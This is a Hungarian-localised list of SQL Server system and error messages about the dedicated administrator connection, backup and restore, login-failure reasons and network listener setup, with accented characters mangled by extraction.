A dediklt rendszergazdai kapcsolds tmogatsa nem lett elindtva a kvetkezQ hiba miatt: 0x%1!s! (llapotkd: 0x%2!s!). Ez a hiba ltalban szoftvercsatorna-alap hibra, pldul mr hasznlatban lvQ portra utal.

LAz SQL Server natv SOAP-tmogatsa most mr kszen ll az gyflkapcsolatokra. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Felkszls a(z) %1!s! GB mretqre nvekedshez, a mqkds kzbeni memria-hozzadsi funkcival.

A dediklt rendszergazdai kapcsolds tmogatsa nem lett elindtva, mert az le van tiltva az SQL Server e kiadsban. Ha szeretne dediklt rendszergazdai kapcsolatot hasznlni, indtsa jra az SQL Server rendszert a kvetkezQ kvetsi jelzQ hasznlatval: %1!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A dediklt rendszergazdai kapcsolds tmogatsa a kvetkezQ porta figyel helyileg: %1!s!.

A dediklt rendszergazdai kapcsolds tmogatsa a kvetkezQ porta figyel tvolrl: %1!s!.

tA(z) %2!s! adatbzisban tallhat %1!s! fjlt a fjlrendszer ritkra lltotta, azonban a fjl nem tartozik adatbzis-pillanatkpbe. A problma megoldshoz lltsa helyre a fjlt.

Az SQL Server nem tudja alkalmazni a NO_BUFFERING opcit ezen a fjlon a ki-/bemeneti mqvelet sorn, mert a(z)  %1!s!  fjl szektormrete (%2!s!) rvnytelen. Helyezze t a fjlt egy olyan lemezre, amelynek rvnyes a szektormrete.

A(z)  %1!s!  msodlagos TempDB fjl cserlhetQ meghajtn tallhat, ezrt az indts sorn nem lesz csatolva.

A(z)  %1!s!  msodlagos TempDB fjl nem lesz csatolva a TempDB adatbzis indtsa sorn. A meghajt-ellenQrzs sikertelen. Hiba: %2!s! 

Rendszerhiba merlt fel a lemezinformci inicializlsa sorn. Hiba:  %1!s! .

dNincs elegendQ terlet a TempDB adatbzisban.

Az ntdll.dll illesztQprogram nem tallhat a megadott elrsi ton. Az SQL Server natv HTTP-tmogatsa nem rhetQ el. Hiba: 0x%1!s!. Lehetsges, hogy az opercis rendszer nem tmogatja az illesztQprogramot.

A kiszolgl %1!s! msodperc inaktivits utn folytatta a vgrehajtst: a kiszolgl felhasznli tevkenysg hatsra felbredt. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A kiszolgl %1!s! msodperc inaktivits utn folytatta a vgrehajtst. Ok: idQztQesemny.

A kiszolgl %1!s! msodperc inaktivits utn folytatta a vgrehajtst.

A kiszolgl %1!s! msodperc inaktivits utn folytatta a vgrehajtst. Ok: erQforrsnyoms.

PAz SQL Server inicializlta a specilis felhasznli md temezsnek tmogatst. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

0DBCC TRACEON: %1!s!, kiszolgl folyamatazonostja: (SPID) %2!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

4DBCC TRACEOFF: %1!s!, kiszolgl folyamatazonostja: (SPID) %2!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

8A rendszer megkerli a(z) %1!s! azonostj adatbzis helyrelltst. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

DBCC DBREPAIR: A(z)  %1!s!  index visszalltva a kvetkezQ szmra:  %2!s!.%3!s! .

%1!s! index visszalltva a kvetkezQ szmra: %2!s!.%3!s!.

A CHECKDB utasts hiba nlkl befejezQdtt a(z)  %1!s!  adatbzisra vonatkozan, a kvetkezQ idQpontban: %2!s! (helyi idQ). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

LFigyelmeztets ******************

A rendszer megksrli megvltoztatni az alaprtelmezett sszeillesztst a kvetkezQre: %1!s!.

Az SQL Server egyfelhasznls zemmdban indult el. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Figyelmeztets: A(z) %1!s! azonostj rendszertbla kzvetlenl a(z) %2!s! azonostj adatbzisban lett frisstve, s lehetsges, hogy a gyorsttr-koherencia nem lett megQrizve. Indtsa jra az SQL Server rendszert.

Induls helyrellts nlkl. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

hA rendszer az sszes adatbzist helyrelltja, a tempdb adatbzis tartalmt azonban nem trli. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A kiszolgl neve:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

$A kiszolglt futtat helyi csompont NETBIOS-neve:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Bejelentkezsi identits: %1!s! %2!s!, kiszolgli folyamat azonostja (SPID): %3!s!, rendszermagfolyamat-azonost (KPID): %4!s!.

Az SQL Server Ctrl-C vagy Ctrl-Break jel miatt lellt. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az SQL Server e pldnyhoz tartoz alaprtelmezett sszeilleszts betltse folyamatban: %1!s!.

A dediklt rendszergazdai kapcsolat bontva lett. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

%1!s!:%2!s!:%3!s! folyamat (0x%4!s!): gy tqnik, hogy a(z) 0x%5!s! munkaszl nem ad eredmnyt a kvetkezQ temezQn: %6!s!. Szl ltrehozsnak idQpontja: %7!s!. CPU ltali hozzvetQleges szlhasznlat: rendszermag: %8!s! ms, felhasznl: %9!s! ms. Folyamat kihasznltsga: %10!s!%%. Rendszer inaktivitsa: %11!s!%%. IdQkz: %12!s! ms.

A(z) %1!s! csomponton val feldolgozsra trstott j lekrdezseket %2!s! msodperce nem vette fel munkaszl. Ehhez a problmhoz valsznqleg akadlyoz vagy sokig fut lekrdezsek jrulnak hozz, s ezek ronthatjk az gyfl reakciidejt. Nvelje meg az engedlyezett szlak szmt a  max worker threads  konfigurcis bellts hasznlatval vagy optimalizlja a fut lekrdezseket. SQL-folyamat kihasznltsga: %3!s!%%. Rendszer inaktivitsa: %4!s!%%.

Ki-/bemenetbefejezQds-figyelQ (0x%1!s!): gy tqnik, hogy a(z) 0x%2!s! munkaszl nem ad eredmnyt a kvetkezQ csomponton: %3!s!. HozzvetQleges CPU-hasznlat: rendszermag: %4!s! ms, felhasznl: %5!s! ms, idQkz: %6!s!.

|gy tqnik, hogy a(z) %1!s! csompont sszes temezQjnl holtpont alakult ki, mert nagy mennyisgq munkaszl vrakozik a kvetkezQ erQforrsra: %2!s!. Folyamat kihasznltsga: %3!s!%%.

A SQL Server folyamatmemrijnak jelentQs rsze ki lett lapozva. Ez a teljestmny romlshoz vezethet. IdQtartam: %1!s! msodperc. Munkakszlet (KB): %2!s!, vgrehajtva (KB): %3!s!, memria kihasznltsga: %4!s!%%.

|gy tqnik, hogy az ErQforrs-figyelQ (0x%1!s!) 0x%2!s! munkavgzQ szla nem ad eredmnyt a kvetkezQ csomponton: %3!s!. Felszabadtott memria: %4!s! KB. Utols vrakozs: %5!s!. Utols kezelQ: %6!s! tpus, %7!s! nevq. HozzvetQleges CPU-hasznlat: rendszermag: %8!s! ms, felhasznl: %9!s! ms, idQkz: %10!s!.

Diszpcser (0x%1!s!) a(z)  %2!s!  diszpcserkszletbQl: gy tqnik, hogy a(z) 0x%3!s! munkaszl nem ad eredmnyt a kvetkezQ csomponton: %4!s!. HozzvetQleges CPU-hasznlat: rendszermag: %5!s! ms, felhasznl: %6!s! ms, idQkz: %7!s!.

gy tqnik, hogy a(z) 0x%1!s! munkavgzQ szlon fut sp_server_diagnostics trolt eljrs nem ad eredmnyt a kvetkezQ csomponton: %2!s!.

A(z) %1!s! azonostj folyamat le lett lltva. Lelltst vgzQ lloms neve: %2!s!, gazdafolyamat-azonost: %3!s!.

xAz SQL Server a rendszerindexek ellenQrzse utn lell.

xAz alaprtelmezett sszeilleszts sikeresen mdostva.

A motor nem tallta meg a hibaszlelshez tartoz konfigurcit, az alaprtelmezett konfigurcit alkalmazta.

A motor nem tudta betlteni a hibaszlelshez tartoz konfigurcit, az alaprtelmezett konfigurcit alkalmazta.

A motor offline llapotba lltja az adatbzist felhQadatbzis mdban a kvetkezQ ok miatt: %1!s!, %2!s!.

A(z)  %1!s!  szalag (csaldazonost: %2!s!, szekvencia: %3!s!, media_set_guid: %4!s!) a kvetkezQ szalagos meghajtra van csatlakoztatva:  %5!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Szalag csatlakoztatsra vonatkoz krelem a kvetkezQ meghajtn:  %1!s! . Vrt ktet: csaldazonost: %2!s!, szekvencia: %3!s!.

A nvtelen szalag (csaldazonost: %1!s!, sorrend: %2!s!, media_set_guid: %3!s!) a kvetkezQ szalagos meghajtra van csatlakoztatva:  %4!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

HA(z)  %1!s!  meghajt szalag csatlakoztatsra vonatkoz krelme visszavonva. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

%1!s!: Az eszkz vagy adathordoz nem tmogatja a kvetkezQt: %2!s!. A funkci elrshez hasznljon msik eszkzt vagy adathordozt.

xAdatbzis biztonsgi msolata mentve. Adatbzis: %1!s!, ltrehozs dtuma (idQpontja): %2!s! (%3!s!), kirt lapok: %4!s!, elsQ naplsorszm: %5!s!, utols naplsorszm: %6!s!, kirsi eszkzk szma: %7!s!, eszkz adatai: (%8!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

HNapl biztonsgi msolata mentve. Adatbzis: %1!s!, ltrehozs dtuma (idQpontja): %2!s! (%3!s!), elsQ naplsorszm: %4!s!, utols naplsorszm: %5!s!, kirsi eszkzk szma: %6!s!, eszkz adatai: (%7!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

<Adatbzisfjl biztonsgi msolata mentve. Adatbzis: %1!s!, ltrehozs dtuma (idQpontja): %2!s! (%3!s!), fjllista: (%4!s!), kirt lapok: %5!s!, kirsi eszkzk szma: %6!s!, eszkz adatai: (%7!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

8Adatbzis visszalltva. Adatbzis: %1!s!, ltrehozs dtuma (idQpontja): %2!s! (%3!s!), elsQ naplsorszm: %4!s!, utols naplsorszm: %5!s!, kirsi eszkzk szma: %6!s!, eszkz adatai: (%7!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

0Napl visszalltva. Adatbzis: %1!s!, ltrehozs dtuma (idQpontja): %2!s! (%3!s!), elsQ naplsorszm: %4!s!, utols naplsorszm: %5!s!, kirsi eszkzk szma: %6!s!, eszkz adatai: (%7!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Adatbzisfjl visszalltva. Adatbzis: %1!s!, ltrehozs dtuma (idQpontja): %2!s! (%3!s!), fjllista: (%4!s!), kirsi eszkzk szma: %5!s!, eszkz adatai: (%6!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Adatbzis klnbzeti vltozsainak biztonsgi msolata mentve. Adatbzis: %1!s!, ltrehozs dtuma (idQpontja): %2!s! (%3!s!), kirt lapok: %4!s!, elsQ naplsorszm: %5!s!, utols naplsorszm: %6!s!, teljes biztonsgi msolat naplsorszma: %7!s!, kirsi eszkzk szma: %8!s!, eszkz adatai: (%9!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

LAdatbzis vltozsai visszalltva. Adatbzis: %1!s!, ltrehozs dtuma (idQpontja): %2!s! (%3!s!), elsQ naplsorszm: %4!s!, utols naplsorszm: %5!s!, kirsi eszkzk szma: %6!s!, eszkz adatai: (%7!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

0A(z)  %1!s!  szalag levlasztva a kvetkezQ meghajtrl:  %2!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

,A nvtelen szalag levlasztva a kvetkezQ meghajtrl:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

|Az adatbzisfjl klnbzeti mdostsainak biztonsgi mentse megtrtnt. Adatbzis: %1!s!, ltrehozs dtuma (ideje): %2!s!(%3!s!), fjllista: (%4!s!), kirt lapok: %5!s!, kirsi eszkzk szma: %6!s!, eszkzinformci: (%7!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

4Az adatbzisfjl mdostsainak visszalltsa megtrtnt. Adatbzis: %1!s!, ltrehozs dtuma (ideje): %2!s!(%3!s!), fjllista: (%4!s!), kirsi eszkzk szma: %5!s!, eszkzinformci: (%6!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

 Ok: Infrastruktrahiba trtnt. EllenQrizze a korbbi hibkat.

 Ok: Nem tallhat a megadott nvnek megfelelQ bejelentkezsi azonost.

 Ok: Sikertelen volt a knyes adatokat tartalmaz memria vdelmnek feloldsa.

 Ok: Sikertelen volt a knyes adatokat tartalmaz memria vdelmnek feloldsa.

 Ok: Nem tallhat a megadott nvnek megfelelQ bejelentkezsi azonost.

 Ok: NT-fiknevet ksrelt meg hasznlni SQL Server-hitelestssel.

h Ok: Hiba trtnt a jelsz kirtkelse kzben.

 Ok: A jelsz nem egyezik meg a bejelentkezshez megadott jelszval.

P Ok: rvnytelen jelszt adott meg.

 Ok: A jelszellenQrzs infrastruktrahiba miatt nem sikerlt. EllenQrizze a korbbi hibkat.

 Ok: A jogkivonat-alap kiszolgl-hozzfrs ellenQrzse infrastruktrahiba miatt sikertelen. EllenQrizze a korbbi hibkat.

 Ok: A bejelentkezs-alap kiszolgl-hozzfrs ellenQrzse infrastruktrahiba miatt sikertelen. EllenQrizze a korbbi hibkat.

 Ok: Az SQL Server szolgltats sznetel. Jelenleg nem hagyhatk jv j kapcsolatok.

 Ok: Az SQL Server szolgltatsba val bejelentkezshez hasznlt fellet nem tmogatott.

l Ok: A megadott adatbzis megnyitsa sikertelen.

 Ok: A bejelentkezshez hasznland adatbzis megnyitsa sikertelen.

 Ok: A kezdeti nyelv s dtumformtum nem hatrozhat meg.

 Ok: A felhasznlnak mdostania kell a jelszt, azonban a jelsz nem mdosthat az aktulis kapcsolatbelltsokkal.

 Ok: Sikertelen volt a knyes adatokat tartalmaz memria vdelmnek feloldsa.

 Ok: Hiba szimullsa a bejelentkezs megismtlse kzben a kapcsolaton.

 Ok: Az SQL Server szolgltats sznetel. A bejelentkezs jelenleg nem ellenQrizhetQ jbl.

 Ok: A biztonsgi krnyezet jrainicializlsa nem sikerlt a bejelentkezs jbli ellenQrzse kzben a kapcsolaton.

 Ok: A kiszolglhoz val hozzfrs ellenQrzse nem sikerlt a bejelentkezs jbli ellenQrzse kzben a kapcsolaton.

 Ok: A megadott adatbzis megnyitsa nem sikerlt a bejelentkezs jbli ellenQrzse kzben a kapcsolaton.

 Ok: A felhasznli pldny ltrehozsa nem sikerlt a bejelentkezs jbli ellenQrzse kzben a kapcsolaton.

 Ok: A megadott adatbzis csatolsa nem sikerlt a bejelentkezs jbli ellenQrzse kzben a kapcsolaton.

 Ok: A bejelentkezshez szksges adatbzis megnyitsa nem sikerlt a bejelentkezs jbli ellenQrzse kzben a kapcsolaton.

 Ok: A nyelv s dtumformtum meghatrozsa nem sikerlt a bejelentkezs jbli ellenQrzse kzben a kapcsolaton.

 Ok: Kivtel trtnt a bejelentkezs jbli ellenQrzse kzben a kapcsolaton. EllenQrizze a korbbi hibkat.

 Ok: Hiba szimullsa a bejelentkezs ismtelt hitelestse kzben.

 Ok: Az SQL Server szolgltats sznetel. A bejelentkezs jelenleg nem hitelesthetQ jbl.

 Ok: Nem sikerlt a biztonsgi krnyezet jrainicializlsa a bejelentkezs ismtelt hitelestse kzben.

 Ok: Nem sikerlt a kiszolgl ellenQrzs cljbl val elrse a bejelentkezs ismtelt hitelestse kzben.

 Ok: Nem sikerlt a megadott adatbzis megnyitsa a bejelentkezs ismtelt hitelestse kzben.

 Ok: Hiba trtnt a bejelentkezs ismtelt hitelestse kzben. EllenQrizze a korbbi hibkat.

 Ok: Nem sikerlt az adatbzisnv beolvassa, vagy az adatbzis elemhez val hozzrendelse.

 Ok: Nem lehet olyan bejelentkezssel kapcsoldni, amely nem hatroz meg megosztst.

 Ok: Nem sikerlt az explicit mdon megadott  %1!s!  adatbzis megnyitsa.

 Ok: Nem sikerlt meghatrozni az adatbzis nevt a megadott fjlnvbQl.

 Ok: Nem sikerlt a bejelentkezsi tulajdonsgokban megadott  %1!s!  adatbzis megnyitsa.

 Ok: Nem sikerlt az adatbzisnv s -rendezs trolsa. EllenQrizze a korbbi hibkat.

. Ok: Az aktulis rendezs nem felel meg a kapcsolat alaphelyzetbe lltsa kzben rvnyes adatbzis-rendezsnek.

 Ok: Nem sikerlt a krnyezet mdostsrl szl rtests elkldse a naplszolgltat partner csompontjhoz.

< Ok: Nem sikerlt az adatbzisnv beolvassa, vagy az adatbzis elemhez val hozzrendelse a bejelentkezs kapcsolaton trtnQ jbli ellenQrzse sorn.

L Ok: A bejelentkezs kapcsolaton val jbli ellenQrzse sorn nem engedlyezett az olyan bejelentkezssel trtnQ kapcsolds, amely nem hatroz meg megosztst.

< Ok: Nem sikerlt a bejelentkezsi objektumban belltott  %1!s!  adatbzis megnyitsa a kapcsolaton keresztli bejelentkezs jbli rvnyestse sorn.

 Ok: Nem sikerlt meghatrozni az adatbzis nevt a megadott fjlnvbQl a bejelentkezs kapcsolaton val jbli ellenQrzse sorn.

L Ok: Nem sikerlt a bejelentkezsi tulajdonsgok kztt megadott  %1!s!  adatbzis megnyitsa a kapcsolaton keresztli bejelentkezs jbli rvnyestse sorn.

, Ok: Nem sikerlt az adatbzisnv s -rendezs trolsa a bejelentkezs kapcsolaton val jbli ellenQrzse sorn. EllenQrizze a korbbi hibkat.

 Ok: Az aktulis rendezs nem felelt meg a kapcsolat alaphelyzetbe lltsa sorn rvnyes adatbzis-rendezsnek.

< Ok: Nem sikerlt a krnyezet mdostsrl szl rtests elkldse a naplszolgltat partner csompontjhoz a bejelentkezs jbli ellenQrzse sorn.

d Ok: Az gyfl megszemlyestse sikertelen.

 Ok: Nem sikerlt a megszemlyests visszalltsa sajtra.

 Ok: A biztonsgi jogkivonat adatainak lehvsa sikertelen.

t Ok: A biztonsgi jogkivonat dupliklsa sikertelen.

 Ok: Sikertelen ismtelt prblkozs egy feldolgozsi jogkivonat rvnyestsre.

t Ok: Hiba trtnt a jelsz-mdostsi ksrlet sorn.

 Ok: Az SQL-alap hitelestssel vgrehajtott bejelentkezsi ksrlet sikertelen. A kiszolgl csak Windows-hitelestsre van belltva.

 Ok: Nem tallhat a megadott nvnek megfelelQ felhasznl. [Adatbzis:  %1!s! ]

 Ok: Sikertelen volt a knyes adatokat tartalmaz memria vdelmnek feloldsa. [Adatbzis:  %1!s! ]

 Ok: Sikertelen volt a knyes adatokat tartalmaz memria vdelmnek feloldsa. [Adatbzis:  %1!s! ]

 Ok: Nem tallhat a megadott nvnek megfelelQ felhasznl. [Adatbzis:  %1!s! ]

 Ok: Ksrlet trtnt egy rvnytelen felhasznli tpus hasznlatra SQL Server-hitelestssel. [Adatbzis:  %1!s! ]

 Ok: Hiba trtnt a jelsz kirtkelse sorn. [Adatbzis:  %1!s! ]

 Ok: A jelsz nem egyezik meg a felhasznlhoz megadott jelszval. [Adatbzis:  %1!s! ]

| Ok: rvnytelen jelszt adott meg. [Adatbzis:  %1!s! ]

 Ok: A jelszellenQrzs infrastruktrahiba miatt sikertelen volt. EllenQrizze a korbbi hibkat. [Adatbzis:  %1!s! ]

8 Ok: A jogkivonat-alap kiszolgl-hozzfrs ellenQrzse infrastruktrahiba miatt sikertelen volt. EllenQrizze a korbbi hibkat. [Adatbzis:  %1!s! ]

@ Ok: A bejelentkezs-alap kiszolgl-hozzfrs ellenQrzse infrastruktrahiba miatt sikertelen volt. EllenQrizze a korbbi hibkat. [Adatbzis:  %1!s! ]

csatols

$visszallts

,Ok: A jelszkivonat az SQL Server nem tmogatott verzijbl szrmazik. lltsa alaphelyzetbe a jelszt, vagy hozza ltre a bejelentkezst jbl.

 Ok: Hiba trtnt az tvlasztsi krnyezet mdosulsra vonatkoz rtests megszerzse sorn.

Ok: Az adatbzis jelenleg nem tud felhasznli kapcsolatokat fogadni.

Sikeres bejelentkezs  %1!s!  felhasznlknt. A kapcsolat Windows-alap hitelestssel jtt ltre.%2!s!

Sikeres bejelentkezs  %1!s!  felhasznlknt. A kapcsolat SQL Server-alap hitelestssel jtt ltre.%2!s!

pSikeres bejelentkezs  %1!s!  felhasznlknt.%2!s!

, [GYFL: %1!s!]

A dediklt rendszergazdai kapcsolatot  %1!s!  felhasznl hasznlja a kvetkezQn:  %2!s! .%3!s!

lRendszergyrt:  %1!s! , Rendszermodell:  %2!s! .

A replikci mellQzi a smaverzi naplzst, mert a systranschemas tbla nincs jelen a(z)  %1!s!  adatbzisban. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

%1

A(z) %1!s! SQL nyomkvetsi azonost a kvetkezQ bejelentkezssel indtva:  %2!s! .

Az SQL nyomkvets lelltva. Nyomkvetsi azonost =  %1!s! . Bejelentkezsi nv =  %2!s! .

tAz SQL nyomkvets a kiszolgl lelltsa miatt le lett lltva. Nyomkvetsi azonost =  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

PA kiszolgl az  -f  kapcsolval lett elindtva. Az auditls nem lesz elindtva. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az OLE DB inicializlsi szolgltatsnak betltse sikertelen. Teleptse jra a Microsoft Data Access Components alkalmazst. Ha a problma tartsan fennll, forduljon az OLEDB-szolgltat termktmogatsi csapathoz.

Windows-hiba trtnt a kvetkezQ futtatsakor: %1!s!. Hiba = %2!s!.

<Az inicializls sikeres.

Az inicializls infrastruktrahiba miatt sikertelen. EllenQrizze a korbbi hibkat.

Nem lehet ltrehozni csompontfigyelQ objektumot. EllenQrizze a memrival kapcsolatos hibkat.

Hiba trtnt a megosztott memria tmogatsnak elindtsa sorn.

PLe van tiltva az sszes protokoll.

Nem lehet ltrehozni csompontfigyelQ objektumot egy specilis pldnyhoz. EllenQrizze a memrival kapcsolatos hibkat.

Nem lehet levgni a szkzket egy IP-cmben. EllenQrizze a TCP/IP protokoll belltsait.

A belltsjegyzk  TcpKeepAlive  belltsa hibs tpus. EllenQrizze a TCP/IP protokoll belltsait.

Nem lehet lehvni a belltsjegyzk  TcpKeepAlive  belltst. EllenQrizze a TCP/IP protokoll belltsait.

Nem lehet belltani az MDAC-kompatibilitsi TCP/IP-portot a belltsjegyzkben.

`Nem lehet inicializlni a TCP/IP-figyelQt.

Nem lehet megnyitni a TCP/IP protokoll konfigurcis kulcst a belltsjegyzkben.

Nem lehet lehvni a TCP/IP protokoll belltsjegyzkbeli  Enabled  belltst.

Nem lehet lehvni a TCP/IP protokoll belltsjegyzkbeli  ListenOnAllIPs  belltst.

Nem lehet megnyitni a TCP/IP protokoll  IPAll  konfigurcis kulcst a belltsjegyzkbQl.

Nem lehet lehvni a TCP/IP protokoll  IPAll  konfigurcis kulcsnak belltsjegyzkbeli belltst.

Nem lehet lehvni az IP-cmekhez a belltsjegyzkben konfigurlt listamretet.

Nem sikerlt figyelshez belltott memrit lefoglalni az IP-cmekhez. EllenQrizze a memrival kapcsolatos hibkat.

Nem sikerlt lehvni a figyelshez konfigurlt IP-cmek listjt a belltsjegyzkbQl.

Nem lehet megnyitni a TCP/IP protokoll belltskulcst egy adott IP-cmre vonatkozan.

Nem lehet lehvni az  Enabled  belltst egy adott IP-cmre vonatkozan.

Nem lehet lehvni az  Active  belltst egy adott IP-cmre vonatkozan.

Nem lehet lehvni az  IpAddress  rtket egy adott IP-cmre vonatkozan.

pAz  IpAddress  belltsrtk nem megfelelQ tpus.

Nem lehet lehvni a belltsjegyzk belltsait egy adott IP-cmre vonatkozan.

Nem lehet adott IP-cmre vonatkoz belltskulcsot reprezentl struktrkat felszabadtani.

Nem lehet lehvni a belltsjegyzk belltsait frtkrnyezetre vonatkozan.

A kiszolgl egy frtkrnyezetbeli adott IP-cm figyelsre van belltva.

Az SQL Server hlzati csatol nem tud ismtlQdQ IP-cmeket ellenQrizni az SQL Server TCP-figyelsi belltsi kztt.

|Az SQL Server hlzati csatol ismtlQdQ IP-cmet tallt az SQL Server TCP-figyelsi belltsi kztt. Tvoltsa el az ismtlQdQ IP-cmet az SQL Server KonfigurcikezelQ segtsgvel.

\Nem lehet megnyitni az SQL Server hlzati csatol fggvnytr konfigurcis kulcst a belltsjegyzkben a dediklt rendszergazdai kapcsoldsi belltsok elrshez.

Nem lehet megnyitni a Dedicated Administrator Connection konfigurcis kulcsot a belltsjegyzkben.

Nem lehet megnyitni a TCP/IP konfigurcis kulcsot a dediklt rendszergazdai kapcsolatra vonatkozan a belltsjegyzkben.

Nem lehet lehvni a belltsjegyzk dinamikus TCP/IP-portyainak belltsait a dediklt rendszergazdai kapcsolatra vonatkozan.

Nincs, vagy egynl tbb dinamikus TCP/IP-port van konfigurlva a dediklt rendszergazdai kapcsolatra vonatkozan a belltsjegyzkben.

Hiba a Nemed pibe-ok indtsa sorn. EllenQrizze a protokollbelltsokat.

Nem sikerlt memrit lefoglalni az SSL-figyelsi struktrkhoz. EllenQrizze a memrival kapcsolatos hibkat.

Hiba trtnt az SSL-tanstvny beszerzse vagy hasznlata sorn. EllenQrizze a KonfigurcikezelQ belltsait.

Nem lehet figyelQi vgpontokat felvenni. EllenQrizze a memrival kapcsolatos hibkat.

pNem lehet inicializlni a kommunikcis figyelQket.

Nem lehet lehvni az SQL Server hlzati csatol fggvnytr-belltsait egy adott pldnyra vonatkozan.

Nem lehet lehvni az SQL Server hlzati csatol fggvnytr-belltsait; a pldny neve tl hossz.

|Nem lehet inicializlni a megosztott memria figyelQjt.

pNem lehet inicializlni a Named pipe-ok figyelQjt.

Nem lehet konfigurlni az MDAC-kompatibilitsi Named Pipe-ok protokoll pipe-nevt a belltsjegyzkben.

\Nem lehet inicializlni a HTTP-figyelQt.

`Nem lehet inicializlni az SSL-tmogatst.

Nem lehet konfigurlni az MDAC-kompatibilitsi protokoll-listt a belltsjegyzkben.

Nem lehet megnyitni az SQL Server hlzati csatol fggvnytrnak konfigurcis kulcst a belltsjegyzkben.

8Hiba trtnt a kibQvtett vdelem belltsnak beolvassakor. EllenQrizze a hlzati konfigurcis belltsokat az SQL Server KonfigurcikezelQben.

(A kibQvtett vdelemhez konfigurlt rtk rvnytelen. EllenQrizze a hlzati konfigurcis belltsokat az SQL Server KonfigurcikezelQben.

Hiba trtnt a kibQvtett vdelemhez tartoz elfogadott egyszerq szolgltatsnevek listjnak beolvassakor. EllenQrizze a hlzati konfigurcis belltsokat az SQL Server KonfigurcikezelQben.

`Az elfogadott egyszerq szolgltatsnevek listjhoz konfigurlt rtk rvnytelen. EllenQrizze a hlzati konfigurcis belltsokat az SQL Server KonfigurcikezelQben.

`A TDSSNIClient nem tudott lefoglalni memrit a kibQvtett vdelem konfigurcis belltsainak betltsekor. EllenQrizze, hogy nem trtnt-e memrival kapcsolatos hiba.

Nem sikerlt memrit lefoglalni az SSPI-figyelsi struktrkhoz. EllenQrizze, hogy nem trtnt-e memrival kapcsolatos hiba.

\Nem lehet inicializlni az SSPI-figyelQt.

Nem hozhat ltre kapcsoldsi gyqrqpuffer. EllenQrizze a memrival kapcsolatos hibkat.

TA hitelests sikeresen befejezQdtt.

Az tviteli protokoll nem ad meg hitelestsi krnyezetet, s nem szerepel hitelestsi jogkivonat a TDS-adatfolyamban.

Hiba trtnt a CompleteAuthToken fggvnynek ehhez a biztonsgi krnyezethez val meghvsa sorn. A Windows-hibakd jelzi a hiba okt.

Nincs definilva a CompleteAuthToken alkalmazsprogramozsi fellet az aktulis biztonsgi tmogatsi szolgltathoz.

Az AcceptSecurityContext fggvny vgrehajtsa sikertelen volt. A Windows-hibakd jelzi a hiba okt.

Az opercis rendszer nem tmogatja a csatornaktseket, de a kiszolgl a kibQvtett vdelem megkvetelsre van konfigurlva. Frisstse az opercis rendszert, vagy tiltsa le a kibQvtett vdelmet.

DEzen gyfl csatornaktsei nem felelnek meg a ltrehozott Transport Layer Security (TLS) protokoll csatornnak. ElkpzelhetQ, hogy a szolgltats tmads alatt ll, illetve hogy frissteni kell az adatszolgltatt a kibQvtett vdelem tmogatshoz. A rendszer lezrja a kapcsolatot.

Ezen gyfl csatornaktsei hinyoznak, vagy nem felelnek meg a ltrehozott Transport Layer Security (TLS) protokoll csatornnak. ElkpzelhetQ, hogy a szolgltats tmads alatt ll, illetve hogy frissteni kell az adatszolgltatt vagy az gyfl opercis rendszert a kibQvtett vdelem tmogatshoz. A rendszer lezrja a kapcsolatot.

Az opercis rendszer nem tmogatja a szolgltatsktseket, de a kiszolgl a kibQvtett vdelem megkvetelsre van konfigurlva. Frisstse az opercis rendszert, vagy tiltsa le a kibQvtett vdelmet.

A QueryContextAttributes fggvny nem tudta beolvasni a szolgltatsktseket. A Windows-hibakd jelzi a hiba okt.

A kiszolgl kibQvtett vdelmi szintjnek belltsa Engedlyezett vagy KtelezQ, de az gyfl nem adott meg egyszerq szolgltatsnevet. A kapcsoldshoz ennek az gyflnek tmogatnia kell a kibQvtett vdelmet. ElkpzelhetQ, hogy teleptenie kell az opercis rendszer egy olyan szervizcsomagjt, amely lehetQv teszi a szolgltatsktst s a csatornaktst.

